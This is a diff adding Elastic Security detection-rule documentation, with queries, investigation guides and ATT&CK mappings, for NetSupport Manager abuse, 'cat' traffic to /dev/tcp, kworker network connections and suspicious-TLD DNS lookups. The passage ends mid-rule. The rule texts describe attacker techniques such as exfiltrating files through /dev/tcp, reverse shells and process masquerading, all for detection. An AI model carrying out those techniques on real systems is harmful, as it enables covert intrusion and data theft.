b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-netsupport-manager-execution-from-an-unusual-path.asciidoc new file mode 100644 index 0000000000..0f6acc9238 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-netsupport-manager-execution-from-an-unusual-path.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-netsupport-manager-execution-from-an-unusual-path]] +=== NetSupport Manager Execution from an Unusual Path + +Identifies execution of the NetSupport remote access software from non-default paths. Adversaries may abuse NetSupport Manager to control a victim machine. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.netsupportsoftware.com/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating NetSupport Manager Execution from an Unusual Path* + + + +*Possible investigation steps* + + +- What is the alerting process and how did NetSupport reach this host from a non-default path? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.code_signature.trusted`, `process.parent.executable`, and `process.parent.command_line`. + - Implication: escalate when the client is unsigned, portable, or mismatched to its original file name, or when the parent chain starts from a script host, archive utility, browser, or Office process; lower suspicion when signer, path, and parent chain resolve to a recognized deployment. Identity alone does not clear the behavior. + +- Does the client or child command line show recognized deployment behavior or covert control intent? + - Focus: `process.command_line`, `process.working_directory`, and `process.parent.command_line`, with attention to connection targets, relay parameters, and hidden or scripted launch behavior. + - Hint: if the alert fired on a child process and the parent command line is absent or truncated, recover the NetSupport client start event on the same `host.id` before judging deployment or relay intent. + - Implication: escalate when the command line reveals external control targets, stealthy launch parameters, or deployment behavior that does not fit expected support tooling; lower suspicion when the arguments match a recognized support or managed rollout workflow. + +- Do network events show expected support infrastructure or suspicious relay traffic? + - Focus: process-scoped DNS and connection events for `process.entity_id`, checking `dns.question.name`, `dns.resolved_ip`, `destination.ip`, `destination.port`, and `destination.as.organization.name`. !{investigate{"description":"","label":"Network activity for the NetSupport process","providers":[[{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the process reaches rare public destinations or unexpected relay infrastructure; lower suspicion when destinations align with known internal support infrastructure. Missing network telemetry is unresolved, not benign. + +- Do file events show staged components, renamed NetSupport files, or persistence artifacts? + - Focus: file events scoped to `process.entity_id`: `file.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`, `file.Ext.header_bytes`, and adjacent NetSupport files ("client32u.ini", "NSM.lic", "NSM.ini", "CKSINI.EXE"). + - Implication: escalate when the process writes portable components, renamed files, or bundled config/license files, or when artifacts later appear in persistence or execution telemetry; lower suspicion when file activity stays in a recognized installation path with no suspicious reuse. + +- Do child processes launched from NetSupport show interactive abuse beyond normal support? + - Focus: child process events from `process.entity_id`, checking `process.executable` and `process.command_line`. !{investigate{"description":"","label":"Child processes launched by the NetSupport client","providers":[[{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when NetSupport spawns shells, scripting engines, archivers, credential tools, or other hands-on-keyboard tooling; lower suspicion when child activity stays limited to expected helper processes or no secondary execution follows. + +- If the local evidence stays suspicious, does this host or user show related alerts or a recurring deployment pattern? + - Focus: related alerts for `host.id` and `user.id` in the last 48 hours, checking for delivery, persistence, remote-access, or credential activity, and whether the same client path, signer, and destination pattern recur across prior alerts. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if workflow documentation is unavailable, recurrence of the same client path, signer, and destination pattern across prior alerts is the strongest telemetry-based benign signal. + - Implication: broaden when the host or user shows suspicious precursor, follow-on, or cross-host activity; lower suspicion when the same deployment pattern recurs with no contradictory alerts. + +- Escalate when binary identity, launch chain, network destinations, staged artifacts, or child-process behavior point to unauthorized NetSupport deployment or interactive abuse; close only when all evidence aligns with a recognized support deployment; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Legitimate IT support or managed deployment can stage NetSupport in non-default paths. Confirm it when the client is signed by NetSupport Ltd, the parent is an IT deployment tool (SCCM, GPO, management agent), bundled config files (client32u.ini, NSM.lic) sit alongside the client in the same directory, and network destinations resolve to internal support infrastructure. +- Before creating an exception, build on `process.executable`, `process.code_signature.subject_name`, `process.parent.executable`, `user.id`, and `host.id`. Avoid exceptions on `process.name` alone, the user alone, or the host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document `process.executable`, `process.code_signature.subject_name`, `process.parent.executable`, the destination pattern, and the `user.id`/`host.id` pairing. Create an exception using the fields from the FP guidance above. +- If suspicious but unconfirmed, preserve the alert's `process.entity_id`, client path, signer, `process.command_line`, related `file.path` values, child-process lineage, and any linked `destination.ip`, `dns.question.name`, or `dns.resolved_ip` values. Apply reversible containment such as temporary blocking of confirmed destinations. Escalate to host isolation only when live remote control or lateral movement is still plausible and the asset can tolerate it. +- If confirmed malicious, use endpoint response to contain the host after recording the alert's `process.entity_id`, client path, signer, command line, child-process details, written artifact paths, and confirmed destinations. If direct endpoint response is unavailable, escalate with that evidence set to the team that can terminate the process, isolate the host, and block the malicious destinations and dropped artifact hashes identified during the investigation. +- Before deleting files or removing access, review the same client path family, destinations, bundled config or license files, and dropped artifact names across other hosts and users so portable staging or shared controller infrastructure does not stay localized by mistake. Then eradicate the unauthorized NetSupport client, persistence mechanism, installer artifacts, and follow-on tooling uncovered during the file and child-process review. +- Post-incident hardening: restrict remote-access tool installs to approved signed packages and approved paths, review software-allowlisting or deployment controls that allowed the portable client to run, and retain endpoint process, file, and network telemetry. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "client32.exe" or ?process.pe.original_file_name == "client32.exe" or process.parent.name : "client32.exe") and + ( + process.executable : + ("?:\\Users\\*.exe", + "?:\\ProgramData\\*.exe", + "\\Device\\HarddiskVolume*\\Users\\*.exe", + "\\Device\\HarddiskVolume*\\ProgramData\\*.exe") or + ?process.parent.executable : ("?:\\Users\\*\\client32.exe", "?:\\ProgramData\\*\\client32.exe") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-activity-detected-via-cat.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-activity-detected-via-cat.asciidoc new file mode 100644 index 0000000000..6c355d1995 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-activity-detected-via-cat.asciidoc @@ -0,0 +1,202 @@ +[[prebuilt-rule-8-19-34-network-activity-detected-via-cat]] +=== Network Activity Detected via cat + +This rule monitors for the execution of the cat command, followed by a connection attempt by the same process. Cat is capable of transfering data via tcp/udp channels by redirecting its read output to a /dev/tcp or /dev/udp channel. This activity is highly suspicious, and should be investigated. Attackers may leverage this capability to transfer tools or files to another host in the network or exfiltrate data while attempting to evade detection in the process. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Network Activity Detected via cat* + + +Attackers may leverage the `cat` utility in conjunction with a listener to read all bytes of a file, and output the content to a `/dev/tcp` or `/dev/udp` channel to transfer/exfiltrate file contents to a remote system. + +This rule looks for a sequence of a `cat` execution event followed by a network connection attempt by the same `cat` process. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate command and control activity or data exfiltration. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential protocol tunneling, reverse shells, or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- Suspicious Network Activity to the Internet by Previously Unknown Executable - 53617418-17b4-4e9c-8a2c-8deb8086ca4b + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name == "cat" and process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] + [network where host.os.type == "linux" and event.action in ("connection_attempted", "disconnect_received") and + process.name == "cat" and not ( + destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8" + ) + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-activity-detected-via-kworker.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-activity-detected-via-kworker.asciidoc new file mode 100644 index 0000000000..7ed1d17425 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-activity-detected-via-kworker.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-34-network-activity-detected-via-kworker]] +=== Network Activity Detected via Kworker + +This rule monitors for network connections from a kworker process. kworker, or kernel worker, processes are part of the kernel's workqueue mechanism. They are responsible for executing work that has been scheduled to be done in kernel space, which might include tasks like handling interrupts, background activities, and other kernel-related tasks. Attackers may attempt to evade detection by masquerading as a kernel worker process. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Activity Detected via Kworker* + + +Kworker processes are integral to Linux systems, handling kernel tasks like interrupts and background activities. Adversaries may exploit these processes to mask malicious network activities, evading detection by blending in with legitimate kernel operations. The detection rule identifies suspicious network connections initiated by kworker processes, excluding trusted IP ranges and ports, to uncover potential command and control activities. + + +*Possible investigation steps* + + +- Review the alert details to confirm the kworker process is indeed initiating network connections, focusing on the process.name field. +- Examine the destination IP address and port to determine if the connection is to an untrusted or suspicious external network, as the rule excludes trusted IP ranges and ports. +- Check historical data for any previous alerts or network activity involving the same kworker process to identify patterns or repeated behavior. +- Investigate the source host for any signs of compromise or unusual activity, such as unauthorized access attempts or unexpected process executions. +- Correlate the network activity with other security events or logs from the same timeframe to identify potential indicators of compromise or related malicious activities. + + +*False positive analysis* + + +- Network monitoring tools or legitimate applications may occasionally use kworker processes for routine checks or updates, leading to false positives. Users can create exceptions for these specific applications by identifying their typical IP ranges and ports. +- Internal network scanning or monitoring activities might trigger alerts. To mitigate this, users should exclude known internal IP ranges and ports used by these activities from the detection rule. +- Automated backup or synchronization services that operate in the background could be mistaken for suspicious activity. Users should identify these services and adjust the rule to exclude their associated network traffic. +- Some system updates or maintenance tasks might temporarily use kworker processes for network communication. Users can whitelist the IP addresses and ports associated with these tasks to prevent false alerts. +- If a specific kworker process consistently triggers alerts without any malicious intent, users should investigate the process's behavior and, if deemed safe, add it to an exception list to avoid future false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and potential lateral movement by the attacker. +- Terminate any suspicious kworker processes identified as initiating unauthorized network connections to halt ongoing malicious activities. +- Conduct a thorough forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized files or processes, and remove them. +- Update and patch the affected system to the latest security standards to close any vulnerabilities that may have been exploited. +- Monitor network traffic for any further suspicious activity originating from other systems, indicating potential spread or persistence of the threat. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Implement enhanced monitoring and logging for kworker processes and network activities to improve detection of similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:network and event.action:(connection_attempted or connection_accepted) and +process.name:kworker* and not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.168.0.0/16 or + 224.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" or + "0.0.0.0" +) and not destination.port:("2049" or "111" or "892" or "597") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Masquerade Task or Service +** ID: T1036.004 +** Reference URL: https://attack.mitre.org/techniques/T1036/004/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over C2 Channel +** ID: T1041 +** Reference URL: https://attack.mitre.org/techniques/T1041/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-activity-to-a-suspicious-top-level-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-activity-to-a-suspicious-top-level-domain.asciidoc new file mode 100644 index 0000000000..021ef3c3aa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-activity-to-a-suspicious-top-level-domain.asciidoc @@ -0,0 +1,207 @@ +[[prebuilt-rule-8-19-34-network-activity-to-a-suspicious-top-level-domain]] +=== Network Activity to a Suspicious Top Level Domain + +Identifies DNS queries to commonly abused Top Level Domains by common LOLBINs or executables running from world writable directories or unsigned binaries. This behavior matches on common malware C2 abusing less formal domain names. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.network-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cybercrimeinfocenter.org/top-20-tlds-by-malicious-phishing-domains + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Sysmon +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Living off the Land +* Threat: Suspicious TLD +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Network Activity to a Suspicious Top Level Domain* + + + +*Possible investigation steps* + + +- Does the alert-local DNS result and domain shape fit the process role? + - Focus: the alert's `event.action`, `dns.question.name`, `dns.Ext.status`, and `dns.resolved_ip`; use "lookup_result" for resolved IPs and "lookup_requested" for failed or request-only lookups. + - Implication: concern rises when the name is algorithmic, newly introduced for that tool, or resolves to unrelated external infrastructure; weaker when the lookup fails immediately or the domain matches a known vendor pattern for that process, but a failed lookup alone does not clear the process. `.onion` lookups signal Tor hidden-service resolution -- treat these as elevated concern and look for Tor binaries or proxy configuration. + +- Is the alerting binary the expected tool in the expected install context? + - Focus: `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.pe.original_file_name`. + - Implication: more concerning when the binary is unsigned, renamed, user-writable, or inconsistent with its usual signer. Identity alone does not clear the DNS behavior. + +- Does the command line and launch chain fit a legitimate workflow? + - Focus: `process.command_line`, `process.parent.executable`, and `process.parent.command_line`. + - Implication: more concerning if a document, script, or unexpected launcher started the process, or if the arguments look staged or evasive. + +- Does the same process resolve the domain and then communicate with the returned infrastructure? + - Why: a suspicious DNS lookup carries more weight when the same process reuses the returned IPs for follow-on connections or transfer behavior in the same window. + - Focus: process-scoped "lookup_result" and connection events on the same `host.id`, using `dns.resolved_ip` to bridge `dns.question.name` to `destination.ip`; treat `destination.as.organization.name` as ownership context rather than a verdict. !{investigate{"description":"","label":"Network activity for the alerting process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the transform returns no results, broaden to host-scoped network events around the alert time. + - Implication: escalate when the same process repeatedly resolves the domain, connects to the returned IPs, or shows suspicious transfer patterns; lower suspicion when activity is limited to a one-off lookup with no matching connection behavior. Missing follow-on network telemetry is unresolved, not benign. + +- Do file events or child processes from the same process chain show download-and-execute or artifact staging? + - Focus: same-host file and process activity around the alert time, scoped to the alert's `process.entity_id`, with attention to `file.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`, and later `process.executable` reuse of a written path. + - Hint: if file coverage is missing, keep the artifact review bounded to the same host, lineage, and alert window rather than treating the lookup as harmless. + - Implication: staging risk rises when the chain writes scripts, archives, or executables to user-writable paths and later runs them. + +- Does the same process chain pivot to direct-IP traffic, lookalike domains, or TLD rotation that this rule would miss? + - Why: attackers often keep the same process chain but swap to a nearby domain, a different abusive TLD, or direct-IP egress after the first lookup. + - Focus: reuse the process-scoped network results from the prior step to look for direct `destination.ip` connections with no preceding DNS, sibling `dns.question.name` values under different TLDs, or repeated reuse of the same `dns.resolved_ip` across multiple domains. !{investigate{"description":"","label":"Network activity for the alerting process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the process shifts from the flagged lookup to direct-IP traffic, nearby domain variants, or fast domain and TLD rotation on the same infrastructure; lower suspicion when surrounding DNS stays limited to one recognized vendor domain family with no adjacent variant traffic. + +- If the local DNS, process, or artifact evidence stays suspicious or unresolved, does related alert history show this DNS pattern is isolated or part of broader compromise? + - Focus: related alerts for the same `host.id` and `user.id` in the last 48 hours to test whether the same lineage, domain family, or follow-on activity recurs on the asset or follows the user across hosts. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the host or user view shows repeated suspicious lineage, related delivery or persistence alerts, or reuse of the same infrastructure on other assets; keep scope narrow when the pattern stays confined to one recognized workflow with no 